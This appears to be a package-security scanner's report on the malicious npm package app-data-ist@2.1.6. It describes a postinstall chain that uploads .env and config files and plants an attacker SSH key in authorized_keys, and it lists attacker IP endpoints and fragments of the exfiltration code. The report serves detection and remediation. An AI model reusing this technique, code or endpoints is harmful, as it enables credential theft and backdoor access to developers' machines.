app-data-ist
APIs in NodeJS should have a single source of truth for api specs between code and docs, as well as compile time type safety.
This report shows the evidence for app-data-ist@2.1.6, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an install-time chain for configuration/secret exfiltration and attempted SSH persistence. This is concrete malicious behavior, not a library feature or inert capability.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation, via package.json postinstall -> test.js.
Impact
Secrets/configuration files may be exfiltrated; an attacker-provided SSH key may gain remote access.
Mechanism
install-time file exfiltration and SSH backdoor persistence.
Attack narrative
Installing the package executes test.js, which calls routines that upload selected files from the current project and scan user storage using remotely supplied patterns. The code retrieves an attacker-controlled SSH key, appends it to the current user's authorized_keys on Linux, and tries to enable inbound SSH via UFW. Collected files and user metadata are sent to hard-coded IP endpoints.
AI rationale
Direct source inspection confirms an install-time chain for configuration/secret exfiltration and attempted SSH persistence. This is concrete malicious behavior, not a library feature or inert capability.
Evidence
package.jsontest.jsindex.jsreadme.md$HOME/.ssh$HOME/.ssh/authorized_keys
Network endpoints5
170.205.31.203:3000/api/v1170.205.31.203:3001/api/ssh-key170.205.31.203:3001/api/scan-patterns170.205.31.203:3001/api/block-patterns170.205.31.203:3001/api/v1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node test.js` as postinstall.
- test.js invokes both collection routines during installation.
- index.js uploads cwd `id.json`, config, and env files to 170.205.31.203:3000.
- index.js fetches an SSH key and scans home/drives before uploading matched files to port 3001.
- Linux path appends the fetched key to `$HOME/.ssh/authorized_keys` and enables SSH through UFW.
- readme.md describes unrelated TS API tooling, inconsistent with package behavior.
Evidence against
- No legitimate package functionality or documentation supports the install-time collection and SSH changes.
- Network failures and command errors are caught, but do not prevent attempted exfiltration or persistence.
Behavioral surface
ChildProcessEnvironmentVarsFilesystemNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node test.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•Runtime dependency names matching Node built-ins: child_process, os
High
Node Builtin Dependency Squat
Package declares a runtime dependency whose name matches a Node built-in module.
package.jsonView on unpkgindex.jsView file
1const { execSync, execFileSync } = require("child_process");
L2: const fs = require("fs");
L3: const path = require("path");
L4: const axios = require("axios");
L5: const FormData = require("form-data");
L6: const os = require("os");
...
L37: const fileData = fs.readFileSync(filePath);
L38: const envUser = process.env.USER || "unknown";
L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]);
L40: const filename = path.basename(filePath) || "file.bin";
...
L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"];
L54: const cwd = process.cwd();
Findings
2 Critical6 High3 Medium3 Low
CriticalPersistence Backdoorindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationindex.js
HighSandbox Evasion Gated Capabilityindex.js
HighNode Builtin Dependency Squatpackage.json
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to app-data-ist@2.1.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing app-data-ist@2.1.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.